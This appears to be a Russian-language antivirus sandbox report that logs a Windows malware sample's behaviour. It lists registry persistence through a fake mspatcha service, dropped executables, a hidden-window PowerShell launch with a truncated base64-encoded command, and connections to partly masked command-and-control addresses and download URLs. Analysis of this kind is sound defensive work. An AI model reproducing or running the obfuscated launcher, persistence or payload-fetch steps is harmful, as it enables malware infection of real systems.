Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mspatcha] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mspatcha] 'ImagePath' = '"%WINDIR%\SysWOW64\dot3dlg\mspatcha.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABkAG8AdQBoAGIAYQBjAGMAaAB1AGEAdABoAD0AJwBuAGEAZQBiAGMAaQBiAHEAdQBvAHYAZwBpAGEAagAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AHIASQBUAHkAcABgAF...
- %HOMEPATH%\726.exe
- %WINDIR%\syswow64\dot3dlg\mspatcha.exe
- %HOMEPATH%\726.exe в %WINDIR%\syswow64\dot3dlg\mspatcha.exe
- '17#.73.0.98':443
- '18#.#4.252.13':443
- http://ch###ast.com/public_html/dU1iLSL3hw/
- http://17#.#3.0.98:443/75T8ujMddClDcVwC/ via 17#.73.0.98
- http://18#.##.252.13:443/G4Bw/12L1a8h/A6wag/5AcOsruua1G376931w5/lS7yFfJ1vB/ via 18#.#4.252.13
- DNS ASK ch###ast.com
- '%HOMEPATH%\726.exe'
- '%WINDIR%\syswow64\dot3dlg\mspatcha.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABkAG8AdQBoAGIAYQBjAGMAaAB1AGEAdABoAD0AJwBuAGEAZQBiAGMAaQBiAHEAdQBvAHYAZwBpAGEAagAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwB1AHIASQBUAHkAcABgAF...' (со скрытым окном)